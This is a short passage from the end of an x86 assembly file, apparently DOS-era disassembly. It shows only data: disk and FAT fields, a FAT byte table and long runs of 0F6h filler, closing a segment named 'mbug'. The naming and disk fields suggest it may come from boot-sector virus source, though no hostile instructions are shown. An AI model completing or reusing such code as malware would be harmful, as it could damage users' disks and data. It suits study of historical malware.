db 1,3,0,6,1,9,0,1
|
||
db 1,0
|
||
drive_number db 0
|
||
head_for_fat db 0
|
||
fat_block dw 2
|
||
fat_size_block db 2
|
||
timer_tick dw 2035h
|
||
buffer label byte
|
||
|
||
db 0fdh
|
||
db 0FFh, 0FFh, 3, 40h, 0, 5
|
||
db 60h, 0, 7, 80h, 0, 9
|
||
db 0A0h, 0, 0Bh, 0C0h, 0, 0Dh
|
||
db 0E0h, 0, 0Fh, 0, 1, 11h
|
||
db 20h, 1, 13h, 40h, 1, 15h
|
||
db 60h, 1, 17h, 0F0h, 0FFh, 19h
|
||
db 0A0h, 1, 1Bh, 0C0h, 1, 1Dh
|
||
db 0E0h, 1, 1Fh, 0, 0F6h
|
||
db 1245 dup (0F6h)
|
||
data_49 db 0F6h
|
||
data_50 dw 0F6F6h
|
||
data_51 db 0F6h
|
||
data_52 dw 0F6F6h
|
||
data_53 dw 0F6F6h
|
||
data_54 db 0F6h
|
||
data_55 dw 0F6F6h
|
||
data_56 db 0F6h
|
||
db 0F6h
|
||
data_57 db 0F6h
|
||
db 483 dup (0F6h)
|
||
data_58 dw 0F6F6h
|
||
db 303 dup (0F6h)
|
||
|
||
mbug ends
|
||
end start
|
||
|